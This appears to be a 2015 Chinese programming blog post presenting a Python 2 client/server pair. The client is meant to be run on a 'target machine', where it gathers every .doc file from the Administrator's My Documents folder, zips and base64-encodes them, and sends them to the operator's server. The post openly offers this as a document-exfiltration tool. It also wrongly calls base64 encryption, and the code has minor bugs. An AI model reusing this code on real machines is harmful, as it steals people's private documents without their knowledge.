python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python解释执行原理分析
Aug 22 Python
Python3 正在毁灭 Python的原因分析
Nov 28 Python
解决Python传递中文参数的问题
Aug 04 Python
python itchat实现微信好友头像拼接图的示例代码
Aug 14 Python
python实现石头剪刀布程序
Jan 20 Python
详解python selenium 爬取网易云音乐歌单名
Mar 28 Python
Django页面数据的缓存与使用的具体方法
Apr 23 Python
Python中断多重循环的思路总结
Oct 04 Python
如何在python中写hive脚本
Nov 08 Python
Pytorch实现神经网络的分类方式
Jan 08 Python
Keras自定义IOU方式
Jun 10 Python
Django数据库(SQlite)基本入门使用教程
Jul 07 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
《忧国的莫里亚蒂》先导宣传图与STAFF公开
2020/03/04 日漫
Joomla实现组件中弹出一个模式(modal)窗口的方法
2016/05/04 PHP
thinkPHP5.0框架独立配置与动态配置方法
2017/03/17 PHP
php实现的中秋博饼游戏之绘制骰子图案功能示例
2017/11/06 PHP
PHP异步进程助手async-helper
2018/02/05 PHP
php中文语义分析实现方法示例
2019/09/28 PHP
jquery 获取json数据实现代码
2009/04/27 Javascript
JavaScript XML和string相互转化实现代码
2011/07/04 Javascript
Javascript计算两个marker之间的距离(Google Map V3)
2013/04/26 Javascript
JS+CSS实现模仿浏览器网页字符查找功能的方法
2015/02/26 Javascript
探讨JavaScript中的Rest参数和参数默认值
2015/07/29 Javascript
jQuery实现仿美橙互联两级导航菜单效果完整实例
2015/09/17 Javascript
详解js界面跳转与值传递
2016/11/22 Javascript
Bootstrap基本样式学习笔记之按钮(4)
2016/12/07 Javascript
canvas绘制的直线动画
2017/01/23 Javascript
基于JS脚本语言的基础语法详解
2017/07/22 Javascript
jsonp跨域及实现百度首页联想功能的方法
2018/08/30 Javascript
vue-cli脚手架build目录下utils.js工具配置文件详解
2018/09/14 Javascript
vue父子模板传值问题解决方法案例分析
2020/02/26 Javascript
mpvue实现微信小程序快递单号查询代码
2020/04/03 Javascript
[05:17]DOTA2誓师:今天我们在这里 明天TI4等我!
2014/03/26 DOTA
Python实现Windows上气泡提醒效果的方法
2015/06/03 Python
python中numpy.zeros(np.zeros)的使用方法
2017/11/07 Python
简单谈谈Python的pycurl模块
2018/04/07 Python
详解flask入门模板引擎
2018/07/18 Python
python使用PIL给图片添加文字生成海报示例
2018/08/17 Python
Face++ API实现手势识别系统设计
2018/11/21 Python
np.newaxis 实现为 numpy.ndarray(多维数组)增加一个轴
2019/11/30 Python
python编程的核心知识点总结
2021/02/08 Python
谈谈对css属性box-sizing的了解
2017/01/04 HTML / CSS
私有程序集与共享程序集有什么区别
2013/04/05 面试题
优秀护士获奖感言
2014/02/20 职场文书
搞笑婚前保证书
2015/02/28 职场文书
同事打架检讨书
2015/05/06 职场文书
学校标语口号大全
2015/12/26 职场文书
vue中使用mockjs配置和使用方式
2022/04/06 Vue.js